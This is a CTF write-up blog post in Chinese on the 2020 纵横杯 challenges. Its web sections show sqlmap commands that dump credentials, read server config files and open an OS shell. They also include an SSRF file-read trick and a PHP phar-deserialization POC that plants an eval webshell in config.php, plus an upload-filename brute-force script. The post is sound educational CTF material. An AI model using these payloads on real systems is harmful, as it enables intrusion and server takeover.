User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

2020纵横杯Writeup

2020-12-26 22:42:06
779  0 0

Contents

  • 1 MISC签到
  • 2 MISC马赛克
  • 3 WEBeasyci
  • 4 WEBezcms
  • 5 WEB hello_php
  • 6 WEB大家一起来审计

MISC签到

因为之前蓝帽杯的签到题出的是十进制转ASCII码的,我当时用ASCII码转换器抢了一个一血,但是今天纵横杯的签到却是八进制转ASCII码的,没抢上一血,也没有提前准备好的脚本,所以这里补充写一个Python脚本,方便下次快速应急

def dec_to_str(dec):
    print(chr(int(dec.strip())),end="")
def oct_to_str(oct):
    int_str=int(oct.strip(),8)
    print(chr(int_str),end="")
    
if __name__ == '__main__':
    print('''该脚本适用于逗号分隔的进制转字符串
    example: 102,108
    1.十进制转字符串
    2.八进制转字符串
    ''')
    choose = input('请选择 1 or 2 \n')
    if choose == '1':
        scale = input('请输入你要进行转换的进制')
        scale = scale.split(',')
        for i in scale:
            dec_to_str(i)
    if choose == '2':
        scale = input('请输入你要进行转换的进制')
        scale = scale.split(',')
        for i in scale:
            oct_to_str(i)

​

flag{w3lcome_to_2ong_h3ng_be1}

MISC马赛克

题目描述:神秘人发给小明一张图片,上面打满了马赛克,聪明的小明随之进行了马赛克还原,睁大双眼在歪歪斜斜的字体里辨识出原来的字符。提交格式:flag{原来的字符}

题目给的附件就是一个马赛克图片,利用脚本进行去模糊:https://github.com/beurtschipper/Depix

Python3环境下执行python3 depix.py -p ./mosaic.png -s ./images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o output.png

生成output.png去掉了马赛克,但仍有一点模糊,最终flag:flag{0123468abd68abd0123}

WEBeasyci

访问首页是一个登录框,且看URL很明显是TP框架搭建的,碰到登录框首先尝试注入,利用BurpSuite抓个请求包,保存为1.txt,放到sqlmap进行跑(没想到竟然真的能跑出来,没过率的太少见了)

sqlmap一把梭最后成功得到admin的账号密码: admin | c3762483bc73d0b7943156d43911ce38

sqlmap -r 1.txt –dbs

sqlmap -r 1.txt -D p3rh4ps –tables

sqlmap -r 1.txt -D p3rh4ps -T users –columns

sqlmap -r 1.txt -D p3rh4ps -T users -C password,username –dump

但是登录上去后没有用,考点不在这里,其中–sql-shell可以拿到是dba权限,最后就想要–os-shell但是不知道网站的绝对路径啊,所以第一步要找到网站的绝对路径,然后在这篇文章找到一个超级细节的地方

https://blog.csdn.net/mashuai720/article/details/83030647

apache2的默认web目录:/var/www/html。(在/etc/apache2/sites-enabled/000-default.conf 里可以看到这个 DocumentRoot /var/www/html 配置)

接下来通过sqlmap读取/etc/apache2/sites-enabled/000-default.conf文件找到网站的绝对路径

sqlmap -r 1.txt –file-read “/etc/apache2/sites-enabled/000-default.conf”  –threads 10

得到网站根目录是/var/sercet/html

然后通过–os-shell进行写马

sqlmap -r 1.txt –os-shell

最后在/etc目录下拿到flag

flag{3dd93e18-fddc-4bca-b21b-00cb69898fe0}

WEBezcms

打开题目链接可以看到是yzmcms v5.8的最新版,网上没有什么漏洞利用文章,于是上github找版本信息,在issue中找到一些问题https://github.com/yzmcms/yzmcms/issues/53

存在SSRF,然后通过dirsearch发现存在源码泄露,下载www.zip,并在源码中找到数据库的用户名和密码,猜测密码复用,利用该密码成功登入管理员账号

登录上后台在序列网址那填写自己VPS上的地址,建立一个cc.html文件

cc.html

<test123><a href=”httpxxxx://../../../../../../flag”>flag</a></test123>

至于为什么这么构造呢,是因为当构造file协议读取时

定位一下这个内容:发现判断有问题,就判断了url前4个字符 意味着httpxxxx:// 只要不是http https就可以

根据:

使用file_get_contents来获取源代码。

使用ticks 绕过 file_get_contents识别不了的协议会当作目录,域名算上就就是两个目录多加一些../ 就可以到达根目录。所以构造完采集管理页面后,提交,再点击下采集网址就可以在最后的采集测试中看到flag。

WEB hello_php

此题因为比赛平台关掉了,所以搭建在本地进行复现,操作与比赛环境无二,非常遗憾当时比赛这道题贴脸一下午,要是有小伙伴在一块看题指定出了,自己当时没想到,看了别人的WP豁然开朗啊,哎还是太菜了。

首先也是源码泄露www.zip下载得到。下面我贴上关键代码

class.php

<?php
include('config.php');
class Config{
    public $title;
    public $comment;
    public $logo_url;
    public function __construct(){
        global $title;
        global $comment;
        global $logo_url;
        $this->title= $title;
        $this->comment = $comment;
        $this->logo_url = $logo_url;
    }
    public function upload_logo(){
        if(!empty($_FILES)){
            $path='./static/'.md5(time()).'.jpg';
            move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');
        }
    }
    public function update_title($title,$comment){
        #垃圾老板就给我这么点钱,叫我怎么帮你做事。
    }
    
    public function __destruct(){
        $file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');
        $file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file);
        $file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file);
        file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);
    }
    
}
$config=new Config;
?>

​index.php

<?php include_once('header.php');?> 
<?php if(isset($_GET['img'])&&file_exists($_GET['img'])){?> 
//file_exists会触发phar反序列化 
//img=phar://static/9e5487a28eaf35aa1b51b5c049001891.jpg
<img src="<?php echo $_GET['img'];?>" class="d-inline-block align-top" alt="" loading="lazy"> 
<?php } else {?> 
      <img src="<?php echo $config->logo_url;?>" class="d-inline-block align-top" alt="" loading="lazy"> 
<?php }?> 
      <p><?php echo $config->comment;?></p> 
<?php echo $footer;?>

​然后访问login.php需要登录,在config.php里找到登录用户名和密码

<?php    
    error_reporting(0);
    $title = 'XXX管理系统';
    $commnet = 'XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP   MySQL 的技术开发,全部源码开放。';
    $logo_url = './static/default.png';
    $admin_user = 'admin';
    $admin_pass = 'admin888';
    $footer = << < EOD    
    <script src = "https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" > </script>     
    <script src = "https://cdn.jsdelivr.net/npm/bootstrap@4.5.0/dist/js/bootstrap.min.js"></script>     
    </body>     
    </html> 
EOD;

​登录后有一个文件上传点,再看class.php里对文件上传的代码“move_uploaded_file($_FILES[“file”][“tmp_name”],’./static/’.md5(time()).’.jpg’);”很明显上传的任何文件都会被时间戳md5加密后重命名然后拼接.jpg,所以这里上传以后要写一个脚本爆破文件名。

再看index.php,存在file_exists函数判断且要通过img参数传递,很明显的phar反序列化题目。而漏洞点就是class.php里的__destruct模数方法,它会将title和comment的值写入到config.php文件里,所以构造代码绕过即可(这里注意config.php里的$title是单引号,当时做懵了死活不知道咋构造了)其实很简单,闭合前面的单引号和<?php再重新构造即可,POC代码如下:

<?php 
class Config {
       public $title = "'?><?php @eval(\$_POST[cmd]);?>//";
       public $comment = "2";
       public $logo_url = "3";
}
$config = new Config;
unlink("phar.phar"); //删除原有存在的 
$phar = new Phar("phar.phar");//生成 
$phar->startBuffering(); 
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,加入GIF头绕过内容验证 
$phar->setMetadata($config); //加入序列化内容 
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 
$phar->stopBuffering(); 
?>

​然后上传生成的phar文件,上传后抓紧跑下time()值

然后写个python脚本快速生成下到这个时间之前一段的md5值,例如:

import hashlib
for i in range(1609043050,1609043105):
    print(hashlib.md5(str(i).encode('utf-8')).hexdigest())

​将生成的结果整理一下,写一个requests请求脚本爆破一下

import requests
list = ['51e853aeef632049cdda958db77c9e37','20ab427237faf45b52fc1ccac7fca9cc','44d3b4d9bce7cae301db88431be3d4ae','7c5083f4e0f5a0b6e0644b60069228d6','e370f1f09b1915278b54f41010004615','85c9ff0e67341f05afd579778b55f468','6391e914f109176cd4d21f34593566cd','e91f22d36dc981cf2ce9bf5ad5418f2c','9b68fc34b75648d49ad41b32e12daeb1','3ea1ac4076287461d5c463008093d219','7f83a4eaa59ac9b7a68aded1141a5239','2017606a194d2bee03ed62781c5490f0','fa863eb256f7e8b88fd08fca90af3ec5','79fc011a52a2fe67f3e03105c2d14ae0','7d771888b328a70fdc72c3638a93f65a','4c65c30f4ef0a3bfe902d2be9b551d6f','80b3b16959d19505455e6d82b8c4dce6','6252bbc43106980191320c00d7a63791','81308fa7346e159b60cd46dae7c909d0','6f13bb9db14949b8ceb51c4dda524076','6a2856a042bf9af22660f67adc82c559','a589283411cdd4942af42deae00712c9','e900dcdf22ad69546929a21f71758c77','820105387f10ef1a412b54bcc5ac8d74','5f4c2bdddaaf0df8f95bea31b427f5c0','17e92a78aa87e423c4dd4b97f100174c','282b25123b8406c8467fa11b6f14a6cd','586b2ce56a2243e69ae6f4ec86a71e8c','951da111bd7ccdd9a40e29b03c22ddd4','ed0bb161f98dfb343c20664d9376d43d','c5d443341e7ae66bcb2f75b6162018b1','9888d078caea4269e2023ee9bdb5b613','f870aa0564b862fd9096af2fd8b2790a','b7b9ff43b546ce763fa7a7be1113221e','1873ba3fe47185c1231104104927df0a','663f6bce5c68226f6eeef4c738a55d94','bcfdf60ecf43a4f97b9982de7c3f6444','91210b8a9aca4c4cf5098cb32069e38f','c0241e5d1577a46295d5da7dd05ffc19','76d043792ff9e814ca0e75d2165a60ec','e3637b6086e922dbb34344ce076eebde','bb0072e9067ec907c9bb581f730488a0','00032a6a96c3598e6dbc94c276b71e8b','1ffc41a694e0595d11a88d0d9b5385a8','7a18c84ba4ac867fc370ebc0930c47ff','b0dbb351c3ed04bdfe07a63dcdfb59c7','fe4e4678ba5b5862ed3c957bfba09bfc','5a9334a33ee806838d680fec683e8106','a67b98b92d07880168087f3ace6b786d','e8141bda086988852a611fb9e0323290','6f56ca221f23143a51dd296050fc029e','dfb7efe5391ea69414db0befee0bf59f']
url = 'http://eci-2zej9k7i0kqc4h22cw32.cloudeci1.ichunqiu.com/static/'
for i in list:
    url1 = url+i+'.jpg'
    res = requests.get(url1)
    if res.status_code == 200:
        print(url1)

​访问成功会给出图片地址,这里本地测试图片名称为9e5487a28eaf35aa1b51b5c049001891.jpg,然后回到首页传递img=phar://static/9e5487a28eaf35aa1b51b5c049001891.jpg即可成功反序列化,再访问config.php通过POST请求执行个phpinfo得到回显,接下来蚁剑链接即可

比赛这里我因为没有做到,所以后面没法继续,看了别的师傅的WP,知道后面还有一个bypass_disablefunction,通过蚁剑的插件即可绕过。这个操作就不是很难了,都是常考点。

WEB大家一起来审计

这道题因为当时比赛一直在扣上一道,所以没有仔细看,这里给出其他大佬的WP

https://mp.weixin.qq.com/s/U7RZ-F5DsuDgKqjlz3I5yw

本质用到了“${eval($_POST[123])}”,双引号解析的操作,这个点我在上一道题还一顿扣,结果在这个题考的,真是太糟糕了

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • [安洵杯 2019]easy_serialize_php
  • Session反序列化
  • 原生类序列化
  • ThinkPHP框架审计案例(hsycms2.0)
  • ThinkPHP5.0.24框架认识
近期评论
  • CTFSHOW-反序列化专题 – purplet的博客发表在《SoapClient与CRLF组合拳》
文章归档
  • 2021年1月
  • 2020年12月
  • 2020年11月
  • 2020年9月
  • 2020年7月
  • 2020年6月
  • 2020年5月
  • 2020年4月
  • 2020年3月
  • 2020年2月
  • 2020年1月
分类目录
  • Cobalt Strike
  • Crypto
  • CTFWP
  • CTF相关知识点
  • Docker
  • JavaScript
  • Misc
  • MYSQL
  • NodeJS
  • PHP
  • python
  • Web
  • WEB安全漏洞学习
  • XSS
  • 代码审计
  • 内网渗透
  • 数据结构
  • 未分类
  • 计算机小技巧
  • 靶机渗透
功能
  • 登录
  • 项目feed
  • 评论feed
  • WordPress.org
分类目录
Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
smarty_hankin 主题. Designed by hankin
主页
页面
博主
purplet 管理员
努力并有所方向
155 文章 2 评论 18587 浏览
测试
测试